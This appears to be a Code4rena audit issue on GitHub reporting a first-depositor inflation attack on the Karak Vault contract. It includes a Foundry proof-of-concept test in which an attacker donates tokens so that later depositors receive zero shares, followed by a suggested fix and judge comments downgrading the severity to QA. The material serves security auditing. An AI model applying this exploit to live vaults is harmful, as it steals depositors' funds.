Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Vault is vulnerable to Inflation Attack #10

Open
c4-bot-6 opened this issue Jul 26, 2024 · 8 comments
Open

Vault is vulnerable to Inflation Attack #10

c4-bot-6 opened this issue Jul 26, 2024 · 8 comments
Labels
bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue grade-b insufficient quality report This report is not of sufficient quality primary issue Highest quality submission among a set of duplicates Q-14 QA (Quality Assurance) Assets are not at risk. State handling, function incorrect as to spec, issues with clarity, syntax 🤖_primary AI based primary recommendation 🤖_24_group AI based duplicate group recommendation satisfactory satisfies C4 submission criteria; eligible for awards

Comments

@c4-bot-6
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2024-07-karak/blob/f5e52fdcb4c20c4318d532a9f08f7876e9afb321/src/Vault.sol#L78-L119

Vulnerability details

Impact

Malicous first depositor can steal assets off subsequent users.

Vulnerability Details

The vulnerability follows the path of the classic Inflation Attack whereby the First Depositor whos is the attacker mints 1 share for 1 wei and then donates a large amount directly to the vault.

It exploits "Rounding to Zero" to ensure that subsequent users receive zero shares for their deposits meaning the attacker's single share has the only claim over the funds in the vault.

The particular version of the erc4626 vault being used does make the attack more expensive though it is still possible to exploit.

The attacker needs to directly deposit into vault.sol double the largest amount being deposited by his victims.

For example to break even if bob (the attacker) sees alice & mike's pending deposits which are both for an amount of 1e18 he needs to deposit 2e18 to make his money back and ensure they receive zero shares

POC

Add the following test function below to vault.t.sol and run:

Donation Attack
    function test_donationAttack() public {

        address bob = address(15);
        address alice = address(16);
        address mike = address(17);

        uint256 dustDeposit = 1;
        uint256 mintAmount = 100e18;
        uint256 donationAmount = 2e18;
        uint256 victimDeposit = 1e18;

        // mint deposit tokens to bob & bob deposits
        // bob donates 2e18
        vm.startPrank(bob);
        depositToken.mint(bob, mintAmount);
        depositToken.approve(address(vault), type(uint256).max);
        uint256 bobShares = vault.deposit(dustDeposit, bob);
        depositToken.transfer(address(vault), donationAmount);
        vm.stopPrank();
        
        assertEq(bobShares, dustDeposit);
        assertEq(depositToken.balanceOf(address(vault)), donationAmount + dustDeposit);

        // mint deposit tokens to alice & alice deposits 1e18
        vm.startPrank(alice);
        depositToken.mint(alice, mintAmount);
        depositToken.approve(address(vault), type(uint256).max);
        uint256 aliceShares = vault.deposit(victimDeposit, alice);
        vm.stopPrank();

        assertEq(depositToken.balanceOf(address(vault)), 3e18 + dustDeposit);

        // mint deposit tokens to mike & mike deposits 1e18
        vm.startPrank(mike);
        depositToken.mint(mike, mintAmount);
        depositToken.approve(address(vault), type(uint256).max);
        uint256 mikeShares = vault.deposit(victimDeposit, mike);
        vm.stopPrank();

        assertEq(bobShares, 1);
        assertEq(aliceShares, 0);
        assertEq(mikeShares, 0);
        assertEq(depositToken.balanceOf(address(vault)), 4e18 + dustDeposit);

        // Attacker will own claim on half the vault and other depositors will be entitled to nothing
        uint256 withdrawableAssets = vault.convertToAssets(dustDeposit);
        // Attackers 1 wei of shares can withdraw 2e18 + dustDeposit (half the vault)
        assertEq(withdrawableAssets, 2e18 + dustDeposit);

    }

Tools Used

Manual Review
Foundry Testing

Recommendations

A good approach is to mint a minimum number of shares to the zero address, during contract deployment similar to the approach taken by UniswapV2

Assessed type

ERC4626

@c4-bot-6 c4-bot-6 added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Jul 26, 2024
c4-bot-6 added a commit that referenced this issue Jul 26, 2024
@c4-bot-13 c4-bot-13 added 🤖_24_group AI based duplicate group recommendation 🤖_primary AI based primary recommendation labels Jul 30, 2024
@howlbot-integration howlbot-integration bot added the insufficient quality report This report is not of sufficient quality label Aug 1, 2024
@c4-judge
Copy link
Contributor

MiloTruck marked the issue as duplicate of #3

@c4-judge c4-judge added duplicate-3 satisfactory satisfies C4 submission criteria; eligible for awards labels Aug 11, 2024
@c4-judge
Copy link
Contributor

MiloTruck marked the issue as satisfactory

@c4-judge c4-judge reopened this Aug 11, 2024
@c4-judge c4-judge added primary issue Highest quality submission among a set of duplicates selected for report This submission will be included/highlighted in the audit report labels Aug 11, 2024
@c4-judge
Copy link
Contributor

MiloTruck marked the issue as selected for report

@c4-judge c4-judge added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value downgraded by judge Judge downgraded the risk level of this issue and removed 3 (High Risk) Assets can be stolen/lost/compromised directly labels Aug 11, 2024
@c4-judge
Copy link
Contributor

MiloTruck changed the severity to 2 (Med Risk)

@MiloTruck
Copy link

MiloTruck commented Aug 11, 2024

Due to the existence of 1 virtual share in Solady's ERC4626 implementation, this attack is only profitable when 2 or more small deposits occur in a row. If only one deposit is made, the performing this attack will incur a loss for the attacker.

Since attackers have a significant chance of losing funds when performing such an attack, I don't believe they have sufficient incentive to pull this off.

Additionally, users can call deposit() with minShareOut to avoid losing funds from such attacks.

As such, I believe QA is appropriate.

@c4-judge c4-judge added QA (Quality Assurance) Assets are not at risk. State handling, function incorrect as to spec, issues with clarity, syntax and removed 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value labels Aug 11, 2024
@c4-judge
Copy link
Contributor

MiloTruck changed the severity to QA (Quality Assurance)

@c4-judge
Copy link
Contributor

MiloTruck marked the issue as not selected for report

@c4-judge c4-judge removed the selected for report This submission will be included/highlighted in the audit report label Aug 11, 2024
@c4-judge
Copy link
Contributor

MiloTruck marked the issue as grade-b

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue grade-b insufficient quality report This report is not of sufficient quality primary issue Highest quality submission among a set of duplicates Q-14 QA (Quality Assurance) Assets are not at risk. State handling, function incorrect as to spec, issues with clarity, syntax 🤖_primary AI based primary recommendation 🤖_24_group AI based duplicate group recommendation satisfactory satisfies C4 submission criteria; eligible for awards
Projects
None yet
Development

No branches or pull requests

5 participants